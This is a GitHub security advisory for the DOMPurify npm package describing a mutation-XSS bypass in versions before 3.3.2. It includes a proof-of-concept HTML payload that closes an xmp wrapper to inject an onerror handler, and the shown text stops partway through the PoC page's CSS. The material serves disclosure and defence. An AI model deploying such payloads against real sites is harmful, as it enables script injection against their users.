GitHub Security Advisory: GHSA-h8r8-wccr-v5f2
Package: dompurify (NPM)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: < 3.3.2
Patched in: 3.3.2

Summary: DOMPurify is vulnerable to mutation-XSS via Re-Contextualization 

Details:
## Description

A mutation-XSS (mXSS) condition was confirmed when sanitized HTML is reinserted into a new parsing context using `innerHTML` and special wrappers. The vulnerable wrappers confirmed in browser behavior are `script`, `xmp`, `iframe`, `noembed`, `noframes`, and `noscript`. The payload remains seemingly benign after `DOMPurify.sanitize()`, but mutates during the second parse into executable markup with an event handler, enabling JavaScript execution in the client (`alert(1)` in the PoC).


## Vulnerability

The root cause is context switching after sanitization: sanitized output is treated as trusted and concatenated into a wrapper string (for example, `<xmp> ... </xmp>` or other special wrappers) before being reparsed by the browser. In this flow, attacker-controlled text inside an attribute (for example `</xmp>` or equivalent closing sequences for each wrapper) closes the special parsing context early and reintroduces attacker markup (`<img ... onerror=...>`) outside the original attribute context. DOMPurify sanitizes the original parse tree, but the application performs a second parse in a different context, reactivating dangerous tokens (classic mXSS pattern).

## PoC

1. Start the PoC app:
```bash
npm install
npm start
```

2. Open `http://localhost:3001`.
3. Set `Wrapper en sink` to `xmp`.
4. Use payload:
```html
 <img src=x alt="</xmp><img src=x onerror=alert('expoc')>">
```

5. Click `Sanitize + Render`.
6. Observe:
- `Sanitized response` still contains the `</xmp>` sequence inside `alt`.
- The sink reparses to include `<img src="x" onerror="alert('expoc')">`.
- `alert('expoc')` is triggered.
7. Files:
- index.html

```html
<!doctype html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>expoc - DOMPurify SSR PoC</title>
    <style>
      :root {
        --bg: #f7f8fb;
        --panel: #ffffff;
        --line: #d8dce6;
        --text: #0f172a;
        --muted: #475569;
        --accent: #0ea5e9;
      }

      * {
        box-sizing: border-box;
      }

      body {
        margin: 0;
        font-family: "SF Mono", Menlo, Consolas, monospace;
        color: var(--text);
        background: radial-gradient(circle at 10% 0%, #e0f2fe 0%, var(--bg) 60%);
      }

      main {
        max-width: 980px;
        margin: 28px auto;
        padding: 0 16px 20px;
      }

      h1 {
        margin: 0 0 10px;
        font-size: 1.45rem;
      }

      p {
        margin: 0;
        color: var(--muted);
      }

      .grid {
        display: grid;
        gap: 14px;
        margin-top: 16px;
      }

      .card {
        background: var(--panel);
        border: 1px solid var(--line);
        border-radius: 12px;
        padding: 14px;
      }

      label {
        display: block;
        margin-bottom: 7px;
        font-size: 0.85rem;
        color: var(--muted);
      }

      textarea,
      input,
      select,
      button {
        width: 10